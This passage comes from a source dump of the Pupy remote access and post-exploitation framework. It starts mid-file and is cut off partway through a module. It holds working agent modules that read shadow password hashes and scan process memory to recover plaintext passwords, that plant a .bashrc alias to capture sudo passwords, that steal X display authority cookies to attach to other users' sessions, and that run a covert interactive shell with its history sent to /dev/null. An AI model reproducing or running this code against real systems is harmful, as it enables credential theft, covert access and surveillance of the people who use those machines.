'bin'),\n            os.path.join(userinfo.pw_dir, 'bin')\n        ])\n\n    try:\n        os.chdir(userinfo.pw_dir)\n    except:\n        pass\n\n    try:\n        for line in subprocess.check_output([\n            userinfo.pw_shell, '-c', '; '.join([\n                '[ -f /etc/profile ] && source /etc/profile >/dev/null 2>/dev/null',\n                '[ -f ~/.profile ] && source ~/.profile >/dev/null 2>/dev/null',\n                'printenv'\n            ])\n        ]).split('\\n'):\n            if line and '=' in line:\n                k, v = line.split('=', 1)\n                os.environ[k] = v\n    except:\n        pass\n\ndef restore():\n    if os.getegid() == sys._SAVED_UID:\n        return\n\n    os.seteuid(sys._SAVED_UID)\n    os.setegid(sys._SAVED_GID)\n    os.setgroups(sys._SAVED_GROUPS)\n    os.chdir(sys._SAVED_CWD)\n    os.environ = sys._SAVED_ENV\n"
  },
  {
    "path": "pupy/packages/posix/all/display.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport psutil\nimport ctypes\nimport pupyps\nimport pwd\nimport socket\n\nfrom ctypes.util import find_library\n\nxlibs_available = None\nx11 = None\nxau = None\n\ndef load_display_libs():\n    global xlibs_available\n    global x11, xau\n\n    if xlibs_available is not None:\n        return\n\n    try:\n        x11 = ctypes.cdll.LoadLibrary(find_library('X11'))\n        x11.XOpenDisplay.restype = ctypes.c_void_p\n        x11.XOpenDisplay.argtypes = [ctypes.c_char_p]\n        x11.XCloseDisplay.argtypes = [ctypes.c_void_p]\n    except:\n        x11 = None\n        pass\n\n    try:\n        xau = ctypes.cdll.LoadLibrary(find_library('Xau'))\n        xau.XauGetAuthByAddr.restype = ctypes.POINTER(XAuth)\n        xau.XauGetAuthByAddr.argtypes = [\n            ctypes.c_ushort,\n            ctypes.c_ushort, ctypes.c_char_p,\n            ctypes.c_ushort, ctypes.c_char_p,\n            ctypes.c_ushort, ctypes.c_char_p\n       ]\n        xau.XauDisposeAuth.argtypes = [ctypes.POINTER(XAuth)]\n    except:\n        xau = None\n        pass\n\n    xlibs_available = x11 and xau\n\nclass XAuth(ctypes.Structure):\n    _fields_ = [\n        ('family',         ctypes.c_ushort),\n        ('address_length', ctypes.c_ushort),\n        ('address',        ctypes.c_char_p),\n        ('number_length',  ctypes.c_ushort),\n        ('number',         ctypes.c_char_p),\n        ('name_length',    ctypes.c_ushort),\n        ('name',           ctypes.c_char_p),\n        ('data_length',    ctypes.c_ushort),\n        ('data',           ctypes.c_char_p)\n   ]\n\nFamilies = {\n    0: 'tcp',\n    6: 'tcp6',\n    256: 'unix',\n}\n\ndef check_display(name, authority):\n    global x11\n\n    load_display_libs()\n\n    if not x11 or not name or not authority:\n        return False\n\n    try:\n        open(authority).close()\n    except:\n        return False\n\n    XAUTHORITY_OLD = os.environ.get('XAUTHORITY')\n    DISPLAY_OLD = os.environ.get('DISPLAY')\n\n    os.environ['XAUTHORITY'] = authority\n    os.environ['DISPLAY'] = name\n\n    display = x11.XOpenDisplay(name)\n    result = bool(display)\n    if display:\n        x11.XCloseDisplay(display)\n\n    if XAUTHORITY_OLD:\n        os.environ['XAUTHORITY'] = XAUTHORITY_OLD\n    else:\n        del os.environ['XAUTHORITY']\n\n    if DISPLAY_OLD:\n        os.environ['DISPLAY'] = DISPLAY_OLD\n    else:\n        del os.environ['DISPLAY']\n\n    return result\n\ndef guess_displays():\n    displays = {}\n    userinfos = {}\n\n    load_display_libs()\n\n    for process in psutil.process_iter():\n        try:\n            info = process.as_dict(['username', 'environ'])\n        except:\n            continue\n\n        if info['username'] and info['environ']:\n            if 'DISPLAY' not in info['environ']:\n                continue\n\n            try:\n                if not info['username'] in userinfos:\n                    userinfos[info['username']] = pwd.getpwnam(info['username'])\n            except:\n                continue\n\n            DISPLAY = info['environ'].get('DISPLAY')\n            XAUTHORITY = info['environ'].get('XAUTHORITY')\n\n            if DISPLAY not in displays:\n                displays[DISPLAY] = set()\n\n            if not XAUTHORITY:\n                XAUTHORITY = os.path.join(\n                    userinfos[info['username']].pw_dir, '.Xauthority'\n               )\n\n            pair = (info['username'], XAUTHORITY)\n            if pair not in displays[DISPLAY] and check_display(DISPLAY, XAUTHORITY):\n                displays[DISPLAY].add(pair)\n\n    for user, hosts in pupyps.users().items():\n        for host, terminals in hosts.items():\n            for terminal in terminals:\n                try:\n                    executable = os.path.basename(\n                        os.path.realpath(terminal['exe'])\n                   )\n\n                    if executable not in ('X', 'Xorg'):\n                        continue\n\n                    DISPLAY = None\n                    XAuthority = None\n                    NextIsXAuthority = False\n\n                    for arg in terminal['cmdline']:\n                        if arg.startswith(':'):\n                            DISPLAY = arg\n                        elif arg == '-auth':\n                            NextIsXAuthority = True\n                        elif NextIsXAuthority:\n                            XAuthority = arg\n                            NextIsXAuthority = False\n\n                    if not DISPLAY:\n                        continue\n\n                    pair = (user, XAuthority)\n                    if DISPLAY not in displays:\n                        displays[DISPLAY] = set()\n\n                    if pair not in displays[DISPLAY] and check_display(DISPLAY, XAuthority):\n                        displays[DISPLAY].add(pair)\n\n                except:\n                    pass\n\n    return {\n        k:list(v) for k,v in displays.items()\n    }\n\ndef attach_to_display(name, xauth=None):\n    load_display_libs()\n\n    if not xauth:\n        displays = guess_displays()\n        if name not in displays:\n            return False\n\n        for user, xauth in displays[name]:\n            os.environ['DISPLAY'] = name\n            os.environ['XAUTHORITY'] = xauth\n            return True\n    else:\n        if check_display(name, xauth):\n            os.environ['DISPLAY'] = name\n            os.environ['XAUTHORITY'] = xauth\n            return True\n\n    return False\n\ndef extract_xauth_info(name, authtype='MIT-MAGIC-COOKIE-1'):\n\n    load_display_libs()\n\n    global xau, Families\n    if not xau or not name:\n        return None\n\n    hostname = socket.gethostname()\n\n    if not hostname or not name.startswith(':'):\n        return None\n\n    name = name[1:]\n\n    xauth = xau.XauGetAuthByAddr(\n        256,\n        len(hostname), hostname,\n        len(name), name,\n        len(authtype), authtype\n    )\n\n    if not xauth:\n        return None\n\n    result = (\n        Families[xauth.contents.family],\n        xauth.contents.address[:xauth.contents.address_length],\n        xauth.contents.number[:xauth.contents.number_length],\n        xauth.contents.name[:xauth.contents.name_length],\n        xauth.contents.data[:xauth.contents.data_length].encode('hex')\n    )\n\n    xau.XauDisposeAuth(xauth)\n\n    return result\n\ndef when_attached(callback, name=':0', poll=10):\n    import threading\n    import time\n\n    load_display_libs()\n\n    def _waiter():\n        while not attach_to_display(name):\n            time.sleep(poll)\n\n        callback()\n\n    waiter = threading.Thread(target=_waiter)\n    waiter.daemon = True\n    waiter.start()\n"
  },
  {
    "path": "pupy/packages/posix/all/hashmon.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport memorpy\n\nfrom spwd import getspall\n\nimport sys\nimport time\nimport re\nimport psutil\nimport pupy.agent\nimport crypt\n\nif sys.version_info.major > 2:\n    basestring = str\n\n\ndef start(names, hashes=[], poll=20, minpw=8, maxpw=16, maxdups=131072, policy=True):\n    if pupy.agent.manager.active(HashMon):\n        return False\n\n    try:\n        pupy.agent.manager.create(\n            HashMon,\n            names, hashes=hashes, poll=poll, minpw=minpw,\n            maxpw=maxpw, maxdups=maxdups, policy=policy\n        )\n    except:\n        return False\n\n    return True\n\n\ndef dump():\n    mon = pupy.agent.manager.get(HashMon)\n    if mon:\n        return mon.results\n\n\ndef stop():\n    mon = pupy.agent.manager.get(HashMon)\n    if mon:\n        pupy.agent.manager.stop(HashMon)\n        return mon.results\n\n\nclass HashMon(pupy.Task):\n    def __init__(self, manager, names=[], hashes=[], poll=60, minpw=8, maxpw=16, maxdups=131072, policy=True):\n        super(HashMon, self).__init__(manager)\n        self.pids = {}\n        self.hashes = set(hashes)\n        self.found = set()\n        self.autoupdate = not hashes\n        self.names = [\n            re.compile(x) for x in set(names)\n        ]\n        self.printable = re.compile('^[\\x20-\\x7e]{{{},{}}}$'.format(minpw, maxpw))\n        self.duplicates = set()\n        self.maxdups = maxdups\n        self.policy = policy\n        self.last_pids = frozenset()\n\n        if self.policy is not None:\n            if isinstance(self.policy, basestring):\n                self.policy = re.compile(self.policy)\n            elif self.policy is True:\n                # Default - 1 digit, alpha, symbol, 8-16 symbols\n                self.policy = re.compile(\n                    r\"^(?=.*\\d)(?=.*[a-zA-Z])(?=.*[&^*!@#$%])[0-9a-zA-Z!@#$%*^&]{{{},{}}}$\".format(\n                        minpw, maxpw))\n        self.poll = poll\n\n    def update_hashes(self):\n        if not self.autoupdate:\n            return\n\n        hashes = [\n            x.sp_pwd for x in getspall() if not x.sp_pwd.startswith(('!', '*'))\n        ]\n\n        for h in hashes:\n            if h not in self.found:\n                self.hashes.add(h)\n                for string in self.duplicates:\n                    ctext, hash = self.check_hash(h, string)\n                    if ctext:\n                        self.append((ctext, hash))\n                        self.hashes.remove(h)\n\n    def get_pid_strings(self, pid):\n        try:\n            mw = memorpy.MemWorker(pid=pid)\n            matcher = self.policy or self.printable\n            for _, (cstring,) in mw.mem_search('([\\x20-\\x7e]+)\\x00', ftype='groups', optimizations='ixrs'):\n                if matcher.match(cstring):\n                    if cstring not in self.duplicates:\n                        yield cstring\n\n                        if len(self.duplicates) > self.maxdups:\n                            self.duplicates = set()\n\n                        self.duplicates.add(cstring)\n        except:\n            pass\n\n    def get_new_pids(self):\n        if not self.need_poll():\n            return\n\n        for process in psutil.process_iter():\n            info = process.as_dict(['create_time', 'pid', 'name', 'exe'])\n            pid = info['pid']\n            if pid not in self.pids or self.pids[pid] == info['create_time']:\n                for name in self.names:\n                    if name.match(info['name']) or name.match(info['exe']):\n                        yield pid\n                        self.pids[pid] = info['create_time']\n\n    def get_new_strings(self):\n        for pid in self.get_new_pids():\n            for string in self.get_pid_strings(pid):\n                yield string\n\n    def check_hash(self, hash, string):\n        if hash.startswith('$'):\n            salt = hash.rsplit('$', 1)[0]\n        else:\n            salt = hash[:2]\n\n        if crypt.crypt(string, salt) == hash:\n            return string, hash\n        else:\n            return None, None\n\n    def check_hashes(self, string):\n        for hash in self.hashes.copy():\n            ctext, hash = self.check_hash(hash, string)\n            if ctext is not None:\n                yield ctext, hash\n                self.found.add(hash)\n                self.hashes.remove(hash)\n\n    def get_new_passwords(self):\n        for string in self.get_new_strings():\n            for pair in self.check_hashes(string):\n                yield pair\n\n    def need_poll(self):\n        current_pids = frozenset(psutil.pids())\n        if current_pids == self.last_pids:\n            return False\n        else:\n            self.last_pids = current_pids\n            return True\n\n    def task(self):\n        while self.active:\n            if self.autoupdate:\n                self.update_hashes()\n\n            if self.hashes:\n                for string, hash in self.get_new_passwords():\n                    self.append((string, hash))\n\n            time.sleep(self.poll)\n"
  },
  {
    "path": "pupy/packages/posix/all/mount.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nfrom io import open\n\nfrom pupy.network.lib.convcompat import as_unicode_string_deep\n\n\nclass MountInfo(object):\n    def __init__(self, line):\n        src, dst, fsname, options, _, _ = (\n            option.replace(r'\\040', ' ') for option in line.split(' ')\n        )\n\n        self.src = src\n        self.dst = dst\n        self.fsname = fsname\n        self._options = [\n            option.split('=') for option in options.split(',')\n        ]\n\n        try:\n            vfsstat = os.statvfs(self.dst)\n            self.free = vfsstat.f_bfree*vfsstat.f_frsize\n            self.total = vfsstat.f_blocks*vfsstat.f_frsize\n            self.files = vfsstat.f_files\n            self.exception = None\n\n            Kb = 1024\n            Mb = 1024*Kb\n            Gb = 1024*Mb\n            Tb = 1024*Gb\n\n            if self.total > 0:\n                if self.free > Tb:\n                    self.hfree = '{}Tb'.format(self.free // Tb)\n                elif self.free > Gb:\n                    self.hfree = '{}Gb'.format(self.free // Gb)\n                elif self.free > Mb:\n                    self.hfree = '{}Mb'.format(self.free // Mb)\n                elif self.free > Kb:\n                    self.hfree = '{}Kb'.format(self.free // Kb)\n                else:\n                    self.hfree = '{}b'.format(self.free)\n\n                self.pused = 100 - int(self.free/self.total*100)\n\n        except Exception as e:\n            self.exception = str(e)\n            self.total = None\n            self.free = None\n            self.files = None\n            self.hfree = None\n            self.pfree = None\n\n        if self.fsname == 'tmpfs':\n            self.fstype = 'tmpfs'\n        elif self.fsname in ('smb', 'cifs', 'nfs', 'nfsv3', 'nfs4'):\n            self.fstype = 'network'\n        elif self.fsname.startswith('cgroup'):\n            self.fstype = 'cgroup'\n        elif self.src.startswith('/dev/mapper'):\n            self.fstype = 'dm'\n        elif fsname.startswith('fuse'):\n            self.fstype = 'fuse'\n        elif fsname.startswith('vboxsf'):\n            self.fstype = 'vm'\n        elif self.src == 'systemd-1' and self.fsname == 'autofs':\n            self.fstype = 'automount'\n        elif self.src == 'sunrpc':\n            self.fstype = 'rpc'\n        elif src == fsname or fsname in (\n                'devtmpfs', 'sysfs', 'proc', 'devpts', 'securityfs',\n                'pstore', 'mqueue', 'hugetlbfs', 'debugfs', 'binfmt_misc'\n            ):\n            self.fstype = 'kernel'\n        else:\n            self.fstype = 'block'\n\n    @property\n    def options(self):\n        return [\n            option for option in self._options if not any([\n                option[0].startswith(value) for value in (\n                    'relatime', 'fd', 'pgrp', 'timeout', 'minproto',\n                    'maxproto', 'direct', 'pipe_ino', 'iocharset',\n                    'codepage', 'lazytime', 'background_gc', 'inline_data',\n                    'discard', 'flush_merge', 'extent_cache', 'mode',\n                    'active_logs', 'commit', 'data', 'nr_inodes', 'size',\n                    'shortnames', 'utf8', 'errors', 'cache', 'rsize',\n                    'wsize', 'echo_interval', 'actime', 'blksize',\n                    'serverino', 'posixpaths', 'mapposix'\n                )\n            ])\n        ]\n\n    def as_dict(self):\n        result = {\n            k:v for k,v in self.__dict__.items() if not k.startswith('_')\n        }\n        result.update({'options': self.options})\n        return result\n\n\ndef mounts():\n    mountinfo = {}\n    try:\n        with open('/proc/self/mounts', 'r') as mounts:\n            for line in mounts:\n                info = MountInfo(line)\n                if info.fstype not in mountinfo:\n                    mountinfo[info.fstype] = [info.as_dict()]\n                else:\n                    mountinfo[info.fstype].append(info.as_dict())\n    except:\n        pass\n\n    if not mountinfo:\n        try:\n            import psutil\n            for part in psutil.disk_partitions():\n                info = MountInfo('{} {} {} {} 0 0'.format(\n                    part.device.replace(' ', r'\\040'),\n                    part.mountpoint.replace(' ', r'\\040'),\n                    part.fstype.replace(' ', r'\\040'),\n                    part.opts.replace(' ', r'\\040'),\n                ))\n                if info.fstype not in mountinfo:\n                    mountinfo[info.fstype] = [info.as_dict()]\n                else:\n                    mountinfo[info.fstype].append(info.as_dict())\n        except:\n            pass\n\n    return as_unicode_string_deep(mountinfo)\n"
  },
  {
    "path": "pupy/packages/posix/all/ptyshell.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE\n# file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['acquire', 'release']\n\nimport sys\nimport os\nimport os.path\nimport termios\nimport pty\nimport fcntl\nimport subprocess\nimport select\nimport array\nimport pwd\nimport errno\n\nfrom io import open\n\nfrom collections import deque\n\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib.convcompat import shlex\n\nfrom pupy.agent import manager, Task\n\nif sys.version_info.major > 2:\n    basestring = str\n    long = int\n\nDEFAULT_SHELL = None\n\n\ndef propose_shell():\n    PATHS = os.environ.get(\n        'PATH',\n        '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:'\n        '/usr/local/sbin:/system/bin'\n    ).split(':')\n\n    SHELLS = ['zsh', 'bash', 'ash', 'sh', 'ksh', 'csh']\n\n    for shell in (os.path.join(p, shell) for shell in SHELLS for p in PATHS):\n        yield shell\n\n    if 'SHELL' in os.environ:\n        yield os.environ['SHELL']\n\n    if os.path.isfile('/etc/shells'):\n        with open('/etc/shells', 'r') as shells:\n            for shell in shells:\n                shell = shell.strip()\n                if not shell.startswith('/'):\n                    continue\n\n                yield shell\n\n\ndef find_shell():\n    global DEFAULT_SHELL\n\n    if not DEFAULT_SHELL:\n        for shell in propose_shell():\n            if os.path.isfile(shell) and os.access(shell, os.X_OK):\n                DEFAULT_SHELL = shell\n                break\n\n    if not DEFAULT_SHELL:\n        DEFAULT_SHELL = '/bin/sh'\n\n    return DEFAULT_SHELL\n\n\ndef prepare(suid):\n    if suid is not None:\n        try:\n            if not isinstance(suid, (int, long)):\n                userinfo = pwd.getpwnam(suid)\n                suid = userinfo.pw_uid\n                sgid = userinfo.pw_gid\n            else:\n                userinfo = pwd.getpwuid(suid)\n                sgid = userinfo.pw_gid\n        except:\n            pass\n\n        try:\n            path = os.ttyname(sys.stdin.fileno())\n            os.chown(path, suid, sgid)\n        except:\n            pass\n\n        try:\n            os.initgroups(userinfo.pw_name, sgid)\n            os.chdir(userinfo.pw_dir)\n        except:\n            pass\n\n        try:\n            if hasattr(os, 'setresuid'):\n                os.setresgid(suid, suid, sgid)\n                os.setresuid(suid, suid, sgid)\n            else:\n                euid = os.geteuid()\n                if euid != 0:\n                    os.seteuid(0)\n                    os.setegid(0)\n\n                os.setgid(suid)\n                os.setuid(suid)\n        except:\n            pass\n\n    os.setsid()\n\n    try:\n        fcntl.ioctl(sys.stdin, termios.TIOCSCTTY, 0)\n    except:\n        # No life without control terminal :(\n        os._exit(-1)\n\n\nclass PtyShell(Task):\n    __slots__ = (\n        'prog', 'master', 'real_stdout',\n        'argv', 'term', 'suid',\n        'read_cb', 'close_cb', '_buffer'\n    )\n\n    def __init__(self, manager, argv=None, term=None, suid=None):\n        super(PtyShell, self).__init__(manager)\n\n        self.prog = None\n        self.master = None\n        self.real_stdout = sys.stdout\n\n        self.argv = argv\n        self.term = term\n        self.suid = suid\n\n        self.read_cb = None\n        self.close_cb = None\n\n        self._buffer = deque(maxlen=50)\n\n    def stop(self):\n        super(PtyShell, self).stop()\n        self.close()\n\n    def close(self):\n        if self.prog is not None:\n            rc = None\n\n            try:\n                rc = self.prog.poll()\n            except:\n                pass\n\n            if rc is None:\n                try:\n                    self.prog.terminate()\n                except:\n                    pass\n\n                try:\n                    if self.prog.poll() is None:\n                        self.prog.kill()\n                except:\n                    pass\n\n                try:\n                    self.prog.communicate()\n                except:\n                    pass\n\n        if self.master:\n            try:\n                self.master.close()\n            except:\n                pass\n\n            self.master = None\n\n        if self._buffer:\n            self._buffer.clear()\n            self._buffer = None\n\n        self.read_cb = None\n        self.write_cb = None\n\n        self.argv = None\n        self.term = None\n        self.suid = None\n\n        self.prog = None\n        self.master = None\n        self.real_stdout = None\n\n    def task(self):\n        argv = None\n\n        if not self.argv:\n            argv = [find_shell()]\n\n        elif isinstance(self.argv, basestring):\n            argv = shlex.split(self.argv)\n        else:\n            argv = self.argv\n\n        PS1 = '[pupy]> '\n\n        if argv:\n            shell = os.path.basename(argv[0])\n            if shell == 'bash':\n                PS1 = r'[pupy:\\W]> '\n                argv.insert(1, '--norc')\n                argv.insert(1, '--noprofile')\n        else:\n            argv = ['/bin/sh']\n\n        if self.term is not None:\n            os.environ['TERM'] = self.term\n\n        ## Workaround via openpty grantpt behaviour\n        euid = os.geteuid()\n        uid = os.getuid()\n\n        if euid != uid:\n            os.seteuid(uid)\n\n        master, slave = pty.openpty()\n\n        if euid != uid:\n            os.seteuid(euid)\n\n        self.master = os.fdopen(master, 'w+b', 0) # open file in an unbuffered mode\n        flags = fcntl.fcntl(self.master, fcntl.F_GETFL)\n        assert flags >= 0\n        flags = fcntl.fcntl(self.master, fcntl.F_SETFL, flags | os.O_NONBLOCK)\n        assert flags >= 0\n\n        env = os.environ.copy()\n        env.update({\n            'PS1': PS1,\n            'HISTFILE': '/dev/null',\n            'PATH': ':'.join([\n                '/bin', '/sbin', '/usr/bin', '/usr/sbin',\n                '/usr/local/bin', '/usr/local/sbin'\n            ])\n        })\n\n        if 'PATH' in os.environ:\n            env['PATH'] += ':' + os.environ['PATH']\n\n        suid = self.suid\n        if suid is None and euid != uid:\n            suid = euid\n\n        if suid is not None:\n            try:\n                suid = int(suid)\n            except:\n                pass\n\n            try:\n                if type(suid) == int:\n                    info = pwd.getpwuid(suid)\n                else:\n                    info = pwd.getpwnam(suid)\n\n                env['USER'] = info.pw_name\n                env['HOME'] = info.pw_dir\n                env['LOGNAME'] = info.pw_name\n            except:\n                pass\n\n        self.prog = subprocess.Popen(\n            shell=False,\n            args=argv,\n            stdin=slave,\n            stdout=slave,\n            stderr=subprocess.STDOUT,\n            preexec_fn=lambda: prepare(suid),\n            env=env\n        )\n        os.close(slave)\n\n        try:\n            self._read_loop()\n\n        finally:\n            try:\n                self.stop()\n            except:\n                pass\n\n            try:\n                if self.close_cb:\n                    self.close_cb()\n            except:\n                pass\n\n    def write(self, data):\n        if not self.master:\n            return\n\n        try:\n            self.master.write(data)\n            self.master.flush()\n\n        except:\n            self.stop()\n\n    def attach(self, read_cb, close_cb):\n        if self.active:\n            self.read_cb = nowait(read_cb)\n            self.close_cb = nowait(close_cb)\n\n            if self._buffer:\n                for item in self._buffer:\n                    self.read_cb(item)\n        else:\n            close_cb()\n\n    def detach(self):\n        self.read_cb = None\n        self.close_cb = None\n\n    def set_pty_size(self, p1, p2, p3, p4):\n        if not self.master:\n            return\n\n        buf = array.array('h', [p1, p2, p3, p4])\n        try:\n            fcntl.ioctl(self.master, termios.TIOCSWINSZ, buf)\n        except:\n            pass\n\n    def _read_loop(self):\n        not_eof = True\n        fd = self.master.fileno()\n\n        while not_eof and self.master:\n            r, x = None, None\n\n            try:\n                r, _, x = select.select([self.master], [], [self.master], None)\n            except OSError as e:\n                if e.errno in (errno.EAGAIN, errno.EWOULDBLOCK):\n                    continue\n            except Exception as e:\n                break\n\n            if x or r:\n                try:\n                    data = os.read(fd, 32768)\n                except OSError as e:\n                    if e.errno in (errno.EAGAIN, errno.EWOULDBLOCK):\n                        continue\n                except Exception:\n                    data = None\n\n                if data:\n                    self._buffer.append(data)\n\n                    if self.read_cb:\n                        self.read_cb(data)\n                else:\n                    not_eof = False\n\n            if not_eof:\n                not_eof = self.prog.poll() is None\n            else:\n                break\n\ndef acquire(argv=None, term=None, suid=None):\n    shell = manager.get(PtyShell)\n\n    new = False\n    if not (shell and shell.active):\n        shell = manager.create(\n            PtyShell,\n            argv, term, suid)\n\n        new = True\n\n    return new, shell\n\ndef release():\n    manager.stop(PtyShell)\n"
  },
  {
    "path": "pupy/packages/posix/all/readlogs.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = [\n  'get_last_events'\n]\n\nimport os\n\nfrom readlogs_generic import GenericLogReader\n\ndef get_last_events(count=10, includes=[], excludes=[], eventid=None):\n    events = {}\n    for d in ['/var/log', '/var/adm']:\n        if os.path.isdir(d):\n            events.update(\n                GenericLogReader(d).get_last_events(count, includes, excludes))\n\n    return events\n"
  },
  {
    "path": "pupy/packages/posix/all/readlogs_generic.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n  'GenericLogReader'\n]\n\nimport datetime\nimport re\nimport os\nimport sys\n\nfrom io import open\n\nMAX_RECORDS_ITER = 65535\n\nif sys.version_info.major > 2:\n    basestring = str\n\n\ndef to_timestamp(d):\n    return (d - datetime.datetime.fromtimestamp(0)).total_seconds()\n\n\ndef ytail(f):\n    BUFSIZ = 5\n    CR = '\\n'\n    data = ''\n\n    f.seek(0, os.SEEK_END)\n\n    fsize = f.tell()\n    block = 0\n    exit = False\n\n    while not exit:\n        step = (block * BUFSIZ)\n\n        if step >= fsize:\n            f.seek(0)\n            newdata = f.read(BUFSIZ - (abs(step) - fsize))\n            exit = True\n        else:\n            f.seek(fsize - step)\n            newdata = f.read(BUFSIZ)\n\n        block += 1\n        data = newdata + data\n\n        if CR in data:\n            lines = data.split(CR)\n            data, lines = lines[0], lines[1:]\n            for line in reversed(lines):\n                yield line\n\n    if data:\n        yield data\n\ndef try_get_mtime(x):\n    try:\n        return os.stat(x).st_mtime\n    except OSError:\n        return 0\n\nclass GenericLogReader(object):\n    parsers = [\n        '_debian_log_parser'\n    ]\n\n    _debian_generic_parser = re.compile(\n        r'^([A-Z][a-z]{2}\\s+\\d+\\s\\d\\d:\\d\\d:\\d\\d)\\s(\\S+)\\s([^:]+):\\s+(.*)')\n\n    def __init__(self, logs=u'/var/log', source=None):\n        self.files = {}\n\n        for root, _, files in os.walk(logs):\n            for logfile in files:\n                if source is not None and not logfile.startswith((\n                        source, source + '.', source + '-')):\n                    continue\n\n                logfile = os.path.join(root, logfile)\n                if not os.path.isfile(logfile):\n                    continue\n\n                try:\n                    parser = self._get_parser(logfile)\n                except IOError:\n                    continue\n\n                if parser:\n                    self.files[logfile] = parser\n\n    def get_last_events(self, count=10, includes=[], excludes=[]):\n        includes = [\n            re.compile(x, re.IGNORECASE | re.MULTILINE) for x in includes\n        ]\n\n        excludes = [\n            re.compile(x, re.IGNORECASE | re.MULTILINE) for x in excludes\n        ]\n\n        events = {}\n\n        for source in sorted(self.files, key=try_get_mtime, reverse=True):\n            parser = self.files[source]\n\n            for item in parser(source):\n                category = item.pop('category')\n                append = not includes and not excludes\n                excluded = False\n\n                if category not in events:\n                    events[category] = []\n\n                if len(events[category]) >= count:\n                    break\n\n                for value in item.values():\n                    if not isinstance(value, basestring):\n                        continue\n\n                    for exclude in excludes:\n                        if exclude.search(value):\n                            append = False\n                            excluded = True\n                            break\n\n                    if excluded:\n                        break\n\n                    for include in includes:\n                        if include.search(value):\n                            append = True\n                            break\n\n                if not includes and not excluded:\n                    append = True\n\n                if append:\n                    events[category].append(item)\n\n        return events\n\n    def _debian_log_parser(self, logfile, probe=False):\n\n        category = os.path.basename(logfile)\n\n        if '-' in category:\n            category = category.split('-')[0]\n        elif '.' in category:\n            category = category.split('.')[0]\n\n        with open(logfile) as log:\n            if probe:\n                line = log.readline().strip()\n                yield bool(GenericLogReader._debian_generic_parser.match(line))\n                return\n\n            mtime = datetime.datetime.fromtimestamp(os.fstat(log.fileno()).st_mtime)\n            year = str(mtime.year)\n\n            for idx, line in enumerate(ytail(log)):\n                if idx > MAX_RECORDS_ITER:\n                    break\n\n                line = line.strip()\n                if '\\n' in line:\n                    # Something went wrong\n                    return\n\n                match = GenericLogReader._debian_generic_parser.match(line)\n                if not match:\n                    continue\n\n                date, hostname, sender, message = match.groups()\n                pid = ''\n                etype = ''\n\n                date = datetime.datetime.strptime(date+' '+year, '%b %d %H:%M:%S %Y')\n\n                if '[' in sender:\n                    pid_start = sender.index('[')\n                    pid_data = sender[pid_start+1:-1]\n                    sender = sender[:pid_start]\n                    try:\n                        pid = int(pid_data)\n                    except ValueError:\n                        etype = pid\n\n                yield {\n                    'date': to_timestamp(date),\n                    'computer': hostname,\n                    'category': category,\n                    'msg': message,\n                    'user': '',\n                    'type': etype,\n                    'pid': pid\n                }\n\n    def _get_parser(self, logfile):\n        for parser in GenericLogReader.parsers:\n            parser = getattr(self, parser)\n            if next(parser(logfile, probe=True)):\n                return parser\n"
  },
  {
    "path": "pupy/packages/posix/all/sudo_alias.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport subprocess\nimport threading\nimport tempfile\nimport getpass\nimport string\nimport random\nimport time\nimport stat\nimport sys\nimport os\n\nfrom io import open\n\n############## Stat / Stop / Dump functions ##############\n\ndef sudo_alias_start():\n    if hasattr(sys, 'SUDO_ALIAS_THREAD'):\n        return False\n\n    sudo = SudoAlias()\n    sudo.start()\n    sys.SUDO_ALIAS_THREAD = sudo\n    return True\n\ndef sudo_alias_dump():\n    if hasattr(sys, 'SUDO_ALIAS_THREAD'):\n        return sys.SUDO_ALIAS_THREAD.dump()\n\ndef sudo_alias_stop():\n    if hasattr(sys, 'SUDO_ALIAS_THREAD'):\n        sys.SUDO_ALIAS_THREAD.stop()\n        del sys.SUDO_ALIAS_THREAD\n        return True\n    return False\n\n############## Main class ##############\n\nclass SudoAlias(threading.Thread):\n    def __init__(self, *args, **kwargs):\n        threading.Thread.__init__(self, *args, **kwargs)\n        self.daemon  = True\n        self.stopped = False\n\n        if not hasattr(sys, 'SUDO_ALIAS_BUFFER'):\n            sys.SUDO_ALIAS_BUFFER = ''\n\n        home = os.path.expanduser(\"~\")\n        # profile file is loaded on Mac os instead of bashrc\n        self.system = sys.platform\n        if self.system == 'darwin':\n            self.bashrc = os.path.join(home, '.profile')\n        else:\n            self.bashrc = os.path.join(home, '.bashrc')\n\n        # alias path\n        random_alias_name       = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))\n        self.alias_file         = os.path.join(tempfile.gettempdir(), random_alias_name)\n\n        # password stored on a tmp path\n        random_password_name    = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))\n        self.password_file      = os.path.join(tempfile.gettempdir(), random_password_name)\n\n        self.original_bashrc_content = ''\n\n    def stop(self):\n        self.stopped = True\n        self.clean_files()\n\n    def dump(self):\n        res=sys.SUDO_ALIAS_BUFFER\n        sys.SUDO_ALIAS_BUFFER = ''\n        return res\n\n    def store_sudo_password(self, password):\n        sys.SUDO_ALIAS_BUFFER += '{username}/{password}'.format(username=getpass.getuser(), password=password)\n\n    def clean_files(self):\n        # remove tmp files\n        if os.path.exists(self.password_file):\n            os.remove(self.password_file)\n\n        if 